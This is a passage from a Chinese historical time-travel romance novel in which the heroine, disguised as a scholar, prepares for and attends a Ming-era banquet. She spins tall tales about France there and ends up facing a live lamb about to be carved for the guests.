宋瑾一听这话,气得七窍生烟,这卢骏年考虑的还挺周到的哈,连通房都给算上了。
“可我家大人说了,他一个也不要,就想你赶紧脱籍了,好把你送走。”
“干嘛呢?我是什么瘟神嘛?这么急着把我送走?”
青杉瞥她一眼:“不是,但也差不多,没遇着你之前,我家大人可没这么失态过。”
宋瑾一听这话,咬牙切齿道:“我可告诉你,一个男人遇到一个女人,一旦开始失态,那就是爱情的开端。”
说完也不理青杉,起身找马去了,就听青杉在后头喊:“你胡扯!你胡扯!我家大人才看不上你呢!”
宋瑾懒得理他。
小屁孩一个,懂什么?
这天下午青杉没给宋瑾一个好脸色,然而宋瑾根本没在意,加上又被吓过一回,并没有出事,胆子也就跟着长起来了,哪怕青杉加大力度,她也学的轻松自在。
还是那句老话,摔一摔学的快,宋瑾是吓一吓,学的快。
季舒白这几日忙,忙得晚饭时也见不着影子,都跟一帮官员在一起吃呢。
宋瑾不便过去凑热闹,又
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不好大半夜的往人家卧房里头钻,于是连着两三日都没有见过季舒白,倒是一心一意地学起马来。
直到第四日,宋瑾实在是累了,想着歇上一日,便没往郊外去。
巧合的是季舒白竟也没有出门,正在县衙的书房里翻看着什么东西。
宋瑾得知后,第一时间蹿了过去。
青杉自打听了宋瑾那日说季舒白喜欢她的话,便不大待见她,奈何宋瑾根本不拿眼看他。
“季大人忙呢?”
宋瑾带着点自来熟,笑呵呵地跟季舒白打招呼,浑然忘记了这个世界的礼仪,还好季舒白也不跟她计较。
“今日不忙,翻看一下吴县今年的开支情形。”
宋瑾挠挠头,大致猜到是查看款项去了哪里,到时候好去查查有没有真的用上。
这是个细致的活,她便不再说话,在书房里乱逛起来,逛的青杉眼里冒火。
“大人,咱们办事,她在这里逛的人心烦,叫她回去吧。”
宋瑾一听,老大的不乐意,顿时露出一股子茶味来:“大人,我伺候你笔墨好不好?”
季舒白眼睛停留在账本上,并未察觉到二人之间的战火:“不必,青杉伺候我惯了。”
“就是。”
青杉帮腔,宋瑾不依,手肘搭在桌上,双手托着下巴,声音变得更柔了:“大人...青杉欺负奴家。”
“嗯?”宋瑾忽然变了音调,连季舒白也注意到了,抬起头来问道:“他怎么欺负你了?”
“他见我在马上,拿鞭子抽我的马,惊着奴家了,所以奴家今日才没有去骑马的。”
“你胡扯!”青杉急红了眼:“大人,她胡说。她这个人,心术不正。”
宋瑾却是不气,拖着长长的尾音问道:“奴家哪里心术不正了?有季大人在,奴家怎会不正?”
“你这人说话就是,一示弱就是奴家奴家的,平日里鼻孔朝天,哪见你称什么奴家?”
宋瑾撇撇嘴,这倒是真的。等她抬眼看季舒白反应时,就见季舒白的视线从账本上挪开,此刻正盯着她看,嘴角带着一丝若有似无的笑意,像极了那日在柏家要红契时的样子。
为什么笑宋瑾不知道,但是她知道季舒白这么笑,那就一定没生气,因此大着胆子得寸进尺。
“季大人,我渴了。”
“县衙里有茶叶,你用便是。”
宋瑾心中叹气,又不甘心:“我想在这里陪着大人嘛,又不知道大人这里的茶叶放在哪里。”
季舒白也没在意,冲着青杉道:“帮她泡杯茶?”
“我?她?我给她泡茶?”
季舒白声音放软了些:“去吧。”倒是挺惯下人的。
青杉气哼哼地走了,留下宋瑾得意洋洋地笑。
“好了,往后少用那种语气讲话,听来怪的很。我若是他,也会生气的。我身边就这么一个贴身的,惹生气了,我怎么办?”
屋子里只剩他们两人时,季舒白才开口戳穿宋瑾,宋瑾只是笑笑,觉得今日的季舒白不大一样,心情不错的样子。
“还有,你那说话的规矩确实得改改,私下倒无所谓,见着外人难免叫人说我教导无方,我可丢不起那人。”
宋瑾抿了抿唇:“知道了。”
季舒白说完话又继续去看他的账本,宋瑾耍完赖便开始在书房里继续乱看起来,结果视线一下被桌面上一堆名帖给吸引过去了。
78. 备礼
宋瑾倒是知道这大明的大夫名士交往会用到名帖,但现实里还不曾见过,因此好奇地抓起一张来看。
那是一张不折叠的单帖,叫人意外的是那帖的颜色竟是白色,与记忆中国人爱用红色帖子的习俗不大相同。
宋瑾习惯性地搓了下纸张,纸面光滑,色泽莹润,一看就是好纸。
再看那字,规规矩矩地写着“侍生林向明顿首拜”。
墨迹干净,毫无晕染迹象,更加确定那是好纸了。
宋瑾又换了几张去看,有的带着封袋,得拆开来看,有的是白色纸,有的是花笺,有的连封袋都做的极其精致。宋瑾看着看着,竟生出一种集邮的喜悦感来。
在众多帖子中,她瞧见了一个不大一样的,那是一张大红销金全帖,一看就是有钱人发的,再看内容,是一张请帖,要请季舒白赴宴。
“季大人,”宋瑾凑过去悄声问:“这个陈新元要请你赴宴,大人去么?”
季舒白轻笑一声,眼神自账本上抬起来:“什么陈新元,那是本县知县,刚刚才叫你要好好说话。”
宋瑾听得一愣,再看帖子上,就没写官职啊,她哪里知道。
“那大人要赴这知县大人的宴席么?”
“这个是一定要去的。”
宋瑾凑得更近了:“那大人可以带我去么?”
“你?”
季舒白上下打量了下宋瑾,见她带着一方四角方巾,身穿蓝衫布袍,粉底皁靴因着这几日学骑马,已经不太干净了。
“不大方便。”
季舒白打量了一遍后毫不犹豫地拒绝了宋瑾的提议,宋瑾哪里肯依。
“为什么?我怎么不能去了?那日柴恒设宴请御史大人,御史大人还叫我坐了呢,哪有你这样的?”
季舒白一看宋瑾炸了毛,索性将手中的账本放下了,伸手在那一叠帖子里翻了起来。
宋瑾站在一边看着,季舒白那只手好看,翻书好看,提笔好看,翻帖子也好看。可惜了,现在她一肚子的火气,浪费了眼前的好景致。
“这个,你可以去。”
他翻出一张帖子递给宋瑾,宋瑾压着火气接了过去,就见封袋上面写着“策百拜奉书舒白知己阁下”,于是取出里头的帖子,只见上面写着“谨詹十五日,薄治豆觞,县中同学一聚,恭候早临。侍生高策顿首拜。”
她撅着嘴,没说乐意,也没说不乐意,嘀嘀咕咕地说了句不相干的话。
“这纸,也还行。”
“青花鸟格眼白录纸,岂止不差,简直奢侈。”
宋瑾听了这话才略开心了些,她就想见见这大明的宴席,从前做厨子,如今做客人,那自然感受不一样了。
因此笑嘻嘻道:“那我去。”
季舒白见她那样也笑了:“为了这么点小事,至于么?既然想去,那就帮我办件事。”
“什么事?”
“下午你同一道青杉出去,帮我备好贽见礼,另外......”
他又看了眼宋瑾那身衣裳,道:“你也裁身衣裳,布衣不大合适,反正距离宴席还有几日。”
宋瑾一听裁衣,还不是布衣,自然高兴,一双眼睛在季舒白身上上下瞟着。
她见他穿过褶子衣,穿的极好看,她也喜欢。
季舒白被她瞧的不自在起来:“你看什么?”
“大人,你穿的衣服好看。”
宋瑾想着季舒白的身材板,想象着要是自己也长那样就好了。
大高个,大宽肩,小窄腰,大长腿,如果她能长这样,那天天洗澡的时候恐怕都得脱光了先自己看半天,这身材不管深衣还是贴里都能穿好看。
因为脑子里想些怪东西,宋瑾笑的也就不单纯起来,季舒白见状直接站了起来,一个大步走到宋瑾面前,胸膛几乎贴上她的脸。
“我的衣服,你穿不上。”
声音自天灵盖传来,她俩身高差的有点大,以至于宋瑾抬头看去时,下巴差点儿磕上季舒白的胸膛。
也算是自取其辱了。
宋瑾自觉往后退了一步,小声嘀咕:“我也没说要穿。”
季舒白嘴角挂着一丝若有似无的笑意,像嘲笑,又不像。
宋瑾将眼神撇到桌上,找了个理由错开:“那我去找青杉了,茶怎么还没来......”
话音刚落,就见青杉进了屋来,恰好听到这话。
“嫌我慢下次自己去。”
“季大人你也不管管青杉。”
“我连你都管不住。”季舒白又坐了回去,压根不理宋瑾的抱怨。
宋瑾只好自己揉了揉鼻尖,自己跑过去接茶,又对青杉谢了又谢,终于换来青杉一个好脸色。
怪不得人都说阎王易见,小鬼难缠,她跟青杉都是难缠的小鬼。
在季舒白的指挥下,宋瑾这日下午同青杉一道出门去买东西。
细细想来,这大明的规矩和二十一世纪也差不多,人家请你赴宴,你得备个见面礼,哪怕你官位高,这礼仪也少不了。
宋瑾跟在青杉后头,青杉说要买什么她便帮着提什么。
东西买的不多,一支斑竹紫毫笔,一方松烟墨,一方端溪砚,两斤雪芽茶。
青杉在前头走着,宋瑾提着东西在后头跟着,总觉得那东西实在太轻,送礼似乎不大合适,可青杉今日对她脸色不好,她还得哄。
宋瑾越想越觉得命苦,哄了老的,还得哄小的,上辈子造的什么孽啊。
算了,确实造孽了,哄吧。
“青杉,要不要停下来喝杯茶?”
“不喝!”头也不回。
宋瑾笑了一声,快步跟了上去,道:“你家大人说了,叫我大人不记小人过,不要同你置气了。”
“谁是小人,你才小人呢。”青杉径直往前走,根本不想看她。
“成,我小人,咱们就小人不记小人过,这笔账就此揭过了可好。”
青杉斜她一眼,不乐意接话,宋瑾脑子一转,道:“你家大人说了,我打小围着灶台转,不曾见过什么世面。不像你,日日跟着他,皇城根下都站过,肚量自然不一般。就算生我的气,那也就是一两日的事情,等气性过了,自然就会忘了。”
“那是自然。”
宋瑾瞥他一眼,见他嘴角带着得意的笑,心中不免想到,这主子的鉴茶能力一流,这小子可不行啊,还得练。
“那我们接下来去哪里呀?”
青杉被这么一哄,心情好了不少,转头笑道:“去找个裁缝铺子,给你裁衣裳。”
宋瑾乐呵呵地跟上。
铺子不远,店中有诸多面料可选,宋瑾几乎是一眼就被其中一匹面料给吸引过去了。
那是一匹鹦哥绿色的缎子面料,料子的一侧绣着好些蝴蝶,黄的粉的白的,形形色色,大大小小,各式各样,在看到料子的一刹那,宋瑾已经想好了,若是做成一件立领对襟披风,衣摆处尽是飞舞的蝴蝶,春日里穿起来,她就是花园里最亮眼的那个。
活了两世,宋瑾依旧没有逃过消费陷阱,一把揪住那块布料不撒手。
“我要这个。”
青杉打眼一看,那料子只适合女子,男人是万万穿不了的,伸手就给她拍开了。
“这料子你不能穿。”
“好看。”
“好看你也不能穿,换这个。”
青杉递过来一块橘黄缎地祥云暗纹的彭缎,宋瑾只撇了一眼,嫌弃的不得了。
那颜色显黑,一点也不好看,绿色多好看,衬人,鲜亮,橘色也太土气了。
“我不。”
“你付银还是我家大人付银?”
宋瑾撇撇嘴,万般不乐意地把手上那块料子撒开了:“那我也不要橘黄的。”
“那你好歹选个能穿的。”
宋瑾鼓着腮帮子选起来,原想选绿,又怕跟季舒白撞上。
撞衫不可怕,谁丑谁尴尬,穿男装,宋瑾再怎么没眼力也该知道自己穿不过季舒白。
最终,她挑了一块远山紫缎地龟背团花暗纹的料子,叫裁一身衣裳
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,量体的时候宋瑾又要做褶子衣,叫青杉好一顿揶揄。
“褶子衣多费功夫,咱们哪有那么多时间等?要么道袍,要么直身衣,你自己选。”
不能买喜欢的料子,不能穿喜欢的款式,宋瑾这身衣裳做的委屈巴巴的。
她吸了吸鼻子:“要直身衣,要白色的护领,雪白雪白的那种。”
这一回总算没人反对她了。
“咱们就拎那么些东西做贽见礼,是不是有些寒碜了?”
青杉坐在那里,一边饮茶一边道:“咱们出来前,柴大官人帮着备了些礼,有好些布料,直接取了送人就好。”
宋瑾听了眉头一跳:“你家大人出门,为什么要柴大官人备礼啊?”
这话问的青杉也愣了:“一直都这样,我也不知道。”
宋瑾倒是想起那日青杉同她讲的关于柴家和季舒白的关系,又问青杉:“我今日见季大人有一封知县老爷的请帖,他不肯带我去,那你呢?你去么?”
“我当然去。”
宋瑾撑开的方便量体的胳膊一下收了回来:“为什么他带你不带我呀?”
“带你?”
莫名其妙的,青杉也上下扫了一眼宋瑾:“带你去,你什么身份?”
宋瑾两手一插腰:“我吃个饭还要身份?”
“那是自然。”青杉放下了茶盏,给她介绍道:“这知县老爷宴请,那是正式的宴会,大家都是穿着官服去的,你是几品啊?”
宋瑾一听,泄了气:“那你呢?你去干嘛?”
“去伺候我家大人呀,你也要来伺候。”
“我没空。”
说到伺候人,宋瑾一下子就没了兴致,上辈子饭桌上还没伺候够么,这辈子上赶着去,她脑子又没坏。
“你说你也真是,一个家奴,怎的那么大的脾气,连我家大人都让着你。”
“他哪里让我了?他打我的时候你是没见过,他抽我呢。”
青杉一听这话来劲了,凑过来问个不停。
“他为什么打你呀?他怎么打的你呀?指定是你犯错了,我家大人从来就不打我,你怎么惹着他了?”
宋瑾在心里翻个白眼,赶紧换了个话题。
“那个高策是谁?为什么我就可以去了?”
“高策?”青杉捏着下巴想了会子道:“我想起来了,是那年与我家大人一同上京赶考的举人,不过落榜了。如今得知我家大人来了吴县,发了个请帖,算是当年一同赶考的举子同聚。”
宋瑾撇撇嘴:“哦,不是正式的官员,那我就可以去了。”
一句话把青杉给说笑了:“哪里就可以去了,我家大人偏心罢了。我可告诉你,去了就规矩点儿,别给我家大人丢人。”
宋瑾颇不耐烦地甩了甩胳膊:“你家大人好大的规矩啊,这也不行,那也不行,天王老子来了都没他规矩大。”
“这算什么?你是没见着京城的规矩,动不动就是六部大员,那规矩才叫大呢,咱们这已经算好了。”
宋瑾歪头想着,幸好没投京城去。
“就拿我家大人来说,他是府衙里头的官员,虽不是知府,那也不是一般人能攀的上的,举人想见还得看我家大人的心情呢。”
宋瑾咋舌。
“这当过官的和没当过官的,现任官和致仕的官,京官和地方官,不同级别结交的人天生就不一样。像这位高策,那就是举人,地方富绅,不曾出仕,那见个知府都不够格。给我家大人设个私宴,那也是因为当年算是同学,不然我家大人哪有空见他呀,这苏州府的举人海了去了,各个都见根本见不过来。”
“也因着是私宴,大家不那般拘束,我家大人才肯带你进去。换做知县设宴,你就等着跟我一起在里头端茶递水吧。”
宋瑾瘫坐在那里,从前是奴的时候,感觉处处受歧视,谁曾想这要脱籍了,等级还是趴在地上那种。
青杉还没说完呢。
“对了,你要是以门客的身份去了,你也得投个名刺,空手可不行。”
79. 规划
青杉提醒宋瑾要投个名刺,宋瑾一时都没反应过来名刺是个什么东西。
“就是名帖,我家大人桌上一堆的,你抄一个就成。”
宋瑾听出来青杉对这里头的一套相当熟悉,忍不住凑过来问:“那我用什么纸呀?”
那一桌子红的白的彩的,本来白的就够诡异了,季舒白还说那纸奢侈,她更没定数了。
“这些东西县衙里指定有,我回去帮你找。”
宋瑾问题又来了:“那我写了之后,是不是就得装读书人啊?”
青杉听了嘿嘿一笑:“那可不么,我家大人可不会叫一个家奴坐在桌上,你想好怎么装了么?”
宋瑾蓦地脸一红,这可怎么装?
二十一世纪的985给十六世纪的举人难住了,她哪知道这帮人都聊些什么呀。
“我给你出个主意,你不是卢大人门下的嘛,你打着卢大人的幌子好了。到时候丢脸就丢卢大人的脸,保全我家大人呗。”
宋瑾觉得这是一个好主意,不装了,也挺好,反正卢骏年给她使了绊子,她也不觉得愧疚。
两人说定了后,就提着东西回了县衙,到了季舒白面前,青杉乖觉了许多。
他帮宋瑾找了张五色笺纸后便叫她写,宋瑾又翻了翻拜帖,倒是简单的很,于是在季舒白允许的情况下抓了一只笔,端端正正地写下了“侍生陆瑾顿首拜”的字样。
“陆瑾?”
季舒白看着那个名字,不曾听过。
“对呀,陆瑾就是我,我就是陆瑾。我想好了,等我脱籍的时候,我要在黄册上改名,以后不叫陆蔓草,叫陆瑾。”
季舒白听罢,又坐回椅子里:“这个名字还不错,就这么写吧。”
宋瑾又追问:“那我需要准备那个什么贽见礼么?”
季舒白笑笑:“随本官同去,就不必了。”
说完话,他丢给宋瑾一叠东西:“这些东西你看看。”
宋瑾不明所以地打开来看,都是往年一些案件的资料。
“给我看这个是做什么?”
“你不是担心当寡妇么?这里面都是跟寡妇相关的案件,你看看,好好做做准备。”
季舒白揶揄她,宋瑾此刻听来也觉得这话晦气,她还没成过亲呢就寡妇寡妇的,合适么?
她撇着嘴盯着那叠案卷,最后还是打开来看了,谁知第一个案子便将她吸引住了。
那是一个丧夫的寡妇,带着一双儿女,丈夫过世之前曾立下遗嘱,一应田宅均由幼子继承,在幼子不能管理之前由母亲代为管理,女儿成年之后嫁于定亲之人,嫁妆由母亲代为置办,族内亲属不得过问。
宋瑾仔细地翻了那案卷,找到了那寡妇的岁数,丧夫那年是三十二岁。
“这女子后来便就此留在夫家了么?”
“不然呢?”季舒白没有回答,而是反问,宋瑾不喜欢这种方式,却习惯性开始思考起来。
假如换成是她在二十一世纪,三十二岁,儿女双全,丈夫死了,有钱有孩子,而且养的起,又有孝行捆绑,大概率要孝顺她。
但是一旦改嫁,丈夫的遗产一分不能得,改嫁到别人家,那就是母凭子贵,她还得再生。
改不改嫁?
宋瑾几乎是本能地想改个屁,她脑子坏了才改嫁,一大把年纪跑到人家家里继续生孩子去,没准丈夫还不是个好东西。
想到这里的时候,宋瑾挠了挠下巴问:“那要是不改嫁是不是可以有贞节牌坊?”
网上都是这么说的,鼓励不改嫁,能得贞节牌坊,那可是县官的功绩呢。
季舒白听她这么问,忍不住放下手中的笔来,仿佛看一个傻子般看着她:“你说呢?”
宋瑾撇撇嘴,心中默默骂人,最讨厌这种领导了,讲话不讲明,尽叫人猜,猜的出来她还会问么?
好在很快季舒白就把答案给了她:“都超过三十了,哪里来的贞节牌坊?”
季舒白也很纳闷,宋瑾对于这里头的规矩不懂也就罢了,怎么对贞节牌坊和寡妇那么感兴趣呢?
她不会......
季舒白盯着宋瑾那张脸看,也不是十恶不赦的样子啊,应当干不出弑夫那种事吧?
就在季舒白怀疑宋瑾将来会不会弑夫的时候,宋瑾已经翻到下一个案子了,这个案子她更感兴趣了,因为那是一个独生女的案子。
案子的起因是族人状告外嫁女,不能继承田产,但是外嫁女出示了一份契书,正是祖父生前所立,宋瑾仔仔细细地看着那份契书,恨不得把它背下来。
只见契书上写着:二十七都立批遗父朱廷鹏,因次男世学早丧无嗣,只有一女名酉英,身今年老,将土名坑底租壹拾砠零十斤,批与酉英,以为遗念。立此批遗存照。
下方明确写着年份以及三位见证人,宋瑾将字眼落在那个“租”字上,这是将租金给了孙女,但田产并不归于她,只是享有租金,但不能处置土地。
换句话说,只要她活着,这块土地的收益便与族人无关。
宋瑾快速地翻阅起来,企图找到女子继承田产的契文,好不容易找到一个批田产为奁,结果一细看,居然是批在女婿名下,夫妻二人共同管业。
“唉——”
宋瑾长长地叹了口气,引得季舒白问:“怎么了?”<
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p>“没什么。”
宋瑾没有将真实想法说出来,毕竟她的想法在二十一世纪也是要被男人围剿的,何况是这以男人为尊的大明了。
她默默翻看着案卷,看完手中那叠还不够,又跟季舒白要了一些。
虽然始终没有找到女子继承田产的案例,可是却结结实实地见识了这大明契文的多样性,那叫一个五花八门的,看的宋瑾瞠目结舌,惊叹不已。
接下来几日,宋瑾便没再出门折腾,日日拿着案卷翻看,正所谓知法犯法,罪加一等,可也只有知法了,才知道如何钻空子不是么?
这件事是青杉率先发现的,宋瑾从前的表现从来不是爱读书的样子,却偏偏对那案卷兴趣颇大,这引起了他的疑心。
“大人,你不觉得那陆姑娘有点问题么?”
“什么问题?”季舒白忙着,这几日宋瑾又安静,他自然关注的少。
但青杉就不一样了,日日看着宋瑾埋头案卷,忍不住给季舒白提醒。
“大人,你有没有想过,她是要一个人独吞那老陆的家产?”
季舒白抬头来问:“那老陆还有其他子女么?”
“好像没有了。”
季舒白轻笑一声:“一个家奴,你指望老陆能让她继承什么?”
青杉想了想也是,哪个家奴腰缠万贯,诸多田产的,可是宋瑾怎么对继承那么感兴趣呢?
他想不通,也就不想了,然而宋瑾的脑子停不下来,满脑子想的都是,到时候她若是成亲应当如何,若是不成亲应当如何,嫁妆要怎么办?
想到最后,她想到了一个最适合自己的法子。
招婿。
老陆只有她一个女儿,那么招婿是最合理的,而她最好是找个年轻帅气无能的,直接立个卖婚书,表面为婿,实则奴仆,乖乖听话,让家里有个男人杵着就行。
这样一来,家中她便还是老大。
宋瑾规划好了自己的路线后觉得自己实在聪明,忍不住在桌案后头笑了起来,那笑容落在青杉眼中,不禁打了个哆嗦。
实在瘆人。
就这般,日子到了五月十五日,宋瑾要跟着季舒白去高策家赴宴了。
宋瑾提前跟着青杉去将那身远山紫的直身衣取了回来,手指搭在雪白的护领上,宋瑾欣喜不已。
曾经无比嫉妒的东西,终于也到了自己手里了,一高兴连帽子都另制了一顶,这次换成了玄色唐巾。
这一套穿下来,倒真有几分读书人的样貌了,只是身量小了些,看起来有几分弱书生的样子。
出发前,季舒白看着她那一身,笑了笑道:“不错,有几分样子了。”
80. 宴会
这日临近午时,宋瑾跟着季舒白,换了新衣,乘了轿子,一同往高策家赴宴去了。
高策是隆庆年间的举人,后参与会试,屡试不中,前些年索性回了乡,做起了举人老爷。
别看这人科举不顺,但钱途颇顺,一方庭院修的别有天地,颇为壮观。
宋瑾随季舒白在前门下了轿,门口早有高策领了众人拱手相迎,打眼一看,宋瑾忽然瞧出不大对来。
那高策穿的一身圆领青袍,身边还跟了两三个一样穿着的男子,年龄都是差不多岁数,而季舒白虽说是私宴,穿的却是她没见过的深蓝罗袍,她猜其中有些讲究,只是一时分辨不出来。
众人行礼后进了院内,季舒白命人递上贽见礼,宋瑾紧跟着要递上那封拜帖,结果就见那几人扑通一声跪下了,口中念着什么一介乡绅,幸得大人清顾,什么蓬荜生辉。
宋瑾的心思不在这里,她想的是她一个什么功名也没有的人,她要不要跪呢?
可是季舒白没空管她,伸手去扶起众人,拱手答礼,宋瑾在一边看着,看的人直往后缩。
这什么礼数,一套套的,别说她没见过,蔓草生前也不曾见过啊,她哪里会。
谁知人还没往后退,季舒白已经一个眼神丢过来,示意她递帖子。
宋瑾慌忙上前,躬身递上帖子:“晚生陆瑾,承蒙诸位大人不弃,在卢大人名下讨得一份活计。”
手中帖子很快被人接走,同时听到一声疑惑。
“卢大人?”
“是府里的一位通判大人,此次见我出来,说是此人颇有些用处,因此叫我带在身边。”
“那想必是位能人,快请。”
宋瑾心中叹气,说她能人,不会叫她当场表演有多能吧?
纵然心中惴惴不安,眼下也只得跟着季舒白往里头走去,
宋瑾脚下随人走着,眼睛却在四处乱瞟,这高家装饰的,过大年似的。
厅里摆上长桌,各色吃食一看就是花了心思摆的,红艳艳金灿灿,诸多她叫不上名号的东西,宛若新春贺岁一般,两侧锦屏晃的人花了眼。
宋瑾眼睛光顾着看,脚下却没注意,踢到那台阶后整个人往前一冲,倒是不严重,只是碰上了季舒白的胳膊。
这下宋瑾慌了神,忙往回撤了一步,就见季舒白微微侧首,低声叮嘱:“稳当些。”
宋瑾尴尬笑笑,点了点头。
众人落座,下人们端茶递水络绎不绝,高策一个眼神,阶下便有人摆上鼓凳,一众穿着打扮光鲜亮丽的男男女女走了出来,手中捧着各色乐器,坐定之后便开始弹唱起来。
具体唱的什么,宋瑾其实听不懂,她猜或许是这世界的流行曲之类的东西,比如《西厢》什么的。
接下来便是宋瑾熟悉的内容,割汤献礼,她就曾经做过这个,眼下看别人来做,自是另一种感觉。
等人呈献完毕,那高策便提议让从人们也都去安歇吃酒,于是就连青杉也一并出去了,只剩宋瑾坐在季舒白身边,默默听着他们说话。
从前倒是听说这年头的文人雅客以诗会友,雅致无比,她来之前还做了好一会子的心理功夫,若是不行,就把大清的几个搬出来,总能唬一唬人。
结果呢?
什么也没有,竟说些当年事,或是听曲,偶尔叫人点戏,他们点的什么宋瑾也不懂,只管竖起耳朵听,以及抓起筷子吃。
桌上摆了一条鱼,看起来是蒸制,不曾切过花刀,与宋瑾的清蒸鱼手法不一样,她好奇地夹了一筷子。
肉质很嫩,香味浓郁,也不知道那佐料摆的是什么,她不大熟悉。
一碗不知道什么煨出来的菜,宋瑾舀了一勺到鼻下闻了,有点鸡汤味,还有一丝水产鱼的味道。
她尝了一口,口感滑腻,鸡汤入味,好下口的很。
宋瑾盯上的下一碗是一个鱼丸,看起来就是白色的丸子在紫菜汤里漂着,普普通通的样子,等吃起来才发现味道极鲜,一定是鲜鱼做的鲜货。
江苏水路多,因此水产相当丰富,宋瑾一连尝了好几道水产后,将视线给到了其他肉类。
她的筷子越过醉虾,直往一碟子不知道什么鸡还是鸟的碟子里伸去,结果肉没夹到,就觉得脚被人踢了一下。
这事只能是季舒白干的。
等她扭头看去,果然如此。
“高举人问你,从前都在哪里,做过些什么?”季舒白淡淡复述着。
听到这个问题时,他并没有帮着去说,因为他也不知道宋瑾打算编哪一出,因此只提醒宋瑾来回答。
宋瑾茫然地收回筷子,强行闭上那还没填饱的胃,准备开始侃大山。
只见她清咳两声,淡定道:“晚生尚且年幼,倒并没有什么了不得的本事和见地,不过家父当年倒是出过海,见识过不少地方的人文景观。”
“出海?”那高举人眯着眼,忽然想起了什么似的问:“莫非同那五峰船主一般......”
“咳咳——”
宋瑾被他一声五峰船主吓的够呛,忙道:“非也非也,家父是正经的水手,去过不少地方,与那汪直并不相同。”
“哦——”桌上几人恍然大悟似的,宋瑾也听到身边人长舒一口气。
“不知令尊都到过哪些地方?”
宋瑾坐直了身子,将话匣子打开:“近处的暹罗吕宋都曾踏足,远处也到过不少地方。比如开口必说Bonjour的法——”
“等下,帮...帮猪?”
“对,帮猪国。”
其实宋瑾也记不大清在这十六世纪的大明是如何称呼法国的,现在有了个代称正好用上,至于是帮猪还是帮狗,谁在乎呢?
还是有人在乎的,那就是季舒白。
虽然他不知这个“开口必说Bonjour”的国家是哪个,但帮猪肯定不对,可他看着宋瑾一幅手舞足蹈,众人视线都被吸引过去的样子,他只得按捺下准备踢宋瑾的脚,右手捏拳抵住唇部,将视线落在桌面上。
左耳进右耳出,只当什么也没听见。
“那这帮猪国,是什么样啊?”
宋瑾眼睛一转,撇了眼阶下弹唱的诸人,心中一下有了主意,转而笑道:“其实有些地方与我大明朝也相似的很。”
“哦,那是怎么个相似法?”
宋瑾笑意更甚,她其实没有去过法国,或者说想去,但没去成。上辈子对于法国的了解便是那一众奢侈品牌,如数家珍一般,了解的清清楚楚,然而这些在这大明是用不上的。
但有一样东西,她用得上。
“在这帮猪国
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,上流社会的男子好养情妇。”
一句话说出,桌上各个都瞪大了眼睛,就连季舒白也没忍住看了过来。
他是万万没想到,给他扯化外语的宋瑾来了这里开始扯情妇,早知道给她捆在县衙也不会带她出来了。
然而宋瑾却知道男人的劣根性,酒色财气,那色字永远也脱不了。
几人虽要拿着举人的架子不好问,却各个都竖起了耳朵。
“说起这帮猪国,那也是相当富有,这习惯也同咱们一样,好听戏看戏。”
“各色剧院有演滑稽戏的,有演喜剧戏的,有唱歌的,还有跳舞的,日日爆满,夜夜喧嚣......”
宋瑾对着巴黎生活一通猛吹,其实她也不大知道十六世纪的巴黎是何等样貌,但是巴黎远啊,哪里像吕宋暹罗离的近,万一有个熟悉的就穿帮了。
可是巴黎,大明人还知之甚少,因此宋瑾大吹特吹,誓要将自己老爹见多识广的名号吹出去,这样她也算博闻广识了。
在座诸位被她一通忽悠,想质疑也不知道从哪里质疑起,各个瞪眼张口,活脱脱的二愣子。
“那...这帮猪国的人,也吃咱们这些酒菜么?”
“那自然是不同了,不过有一点是相同的,那就是爱吃鹅,他们爱吃鹅肝。”
宋瑾对着鹅肝一通胡说,又编扯了几个菜式,大有再说下去,麦当劳也要归了巴黎的架势,反正这些人又分不清。
“那酒呢?听说外邦也饮那葡萄酒。”
宋瑾道:“确实如此,这帮猪国人也爱饮这葡萄酒,不过还有一种酒咱们这里没听过,叫鸡尾酒。”
“哈哈哈——鸡尾酒,这帮猪国人也有意思,不是鸡就是猪的,叫不知道的人听去了,还以为是什么动物国呢。”
众人大笑起来,也有人问了:“这鸡尾酒是什么味儿啊?不会放鸡毛吧?”
“自然不是。”宋瑾表情镇定,慢慢解释着,或者说,胡扯着。
“这酒呀其实就是用常见的酒采用特殊的配方经过混合形成的一种新的酒,这酒饮起来可甜可酸,很是受人喜欢。”
有人问了:“那令尊也曾喝过?”
“岂止喝过,还晓得配方呢。”
“那你岂不是也会那什么什么鸡尾酒?”
“这是自然,不怕告诉几位,这长洲县里的陆氏酒楼正是家人所开,所售的便是这番外来的鸡尾酒。”
话说到此处,季舒白的眼珠子几乎掉下来。
这长洲县有没有陆氏酒楼他不知道,但这酒楼一定跟宋瑾脱不了干系,而她根本就没有酒楼。
凭空就开始捏造了。
季舒白悔的肠子都要青了,他虽知道宋瑾会扯些谎言,可是扯到这个地步,是不是过份了些?
然而再看宋瑾,正说的过瘾,那袖子恨不得都要撸上来了。
她此刻正后悔出门时没带上季舒白那把扇子,否则此刻应当狠撒一下扇子,啪的一声响后再摇两下子,那真是神棍转世,很能忽悠。
“陆公子果然是见多识广啊。”
今日这顿饭宋瑾吃的极为过瘾,只是没怎么沾酒,她记着蔓草这身子不大行,为了防止穿帮,她克制的很,直到底下开始上一道大菜。
她看见一头羊被牵进了院子。
81. 惊吓
这一年是1580年,从时间上来说,距离二十一世纪也不过四百来年,又恰逢盛世,富裕人家,接待的又是贵客。
同二十一世纪一样,这样的主人都有一个毛病,那就是要显摆。
上一世宋瑾就因此在餐桌上吃到了不该吃的野味,这一世跑来跟季舒白长见识,这一下也确实长了见识。
她见那人将小羊牵至院中,四蹄用绳索固定,不远处架起火来。
小羊不大,数月的年纪,毛色雪白,嘴唇粉红,是只很好看的羊。此刻正睁着一双眼睛站在那里,时不时扯动一下四肢,发现扯不动之后,咩咩叫了两声。
一个厨子模样的人手持一把巴掌长的短刀走至阶下,笑意盈盈地问:“诸位老爷,想吃哪块?”
那刀刃折着日光,几乎刺到宋瑾的眼睛。
桌上有人道:“季大人,这吃羊,就得选后腿上方的一截肉,最是鲜嫩。这羊又小,肉不柴,现挖现烤,实在美味。”
一根筷子从宋瑾的虎口处滑落,先是跌到桌上,接着滚了几圈直坠到地上弹了几弹,方才停下。
这点声响没有给任何人造成困扰,只有一个下人走了过来,先捡起筷子,又取走了宋瑾手中那支筷子后,重新换了一双递给宋瑾。
然而宋瑾一直没接,她的一双眼睛跟着那刀刃在走。
那刀刃闪着银光,正一步步逼近那被固定住四肢的小羊。
一只粗大的手抚上羊后腿上方的一处,耳中传来炫耀的声音。
“这高明的厨子知道从哪里下刀,可以让这羊肉虽被挖,却依然活着。”
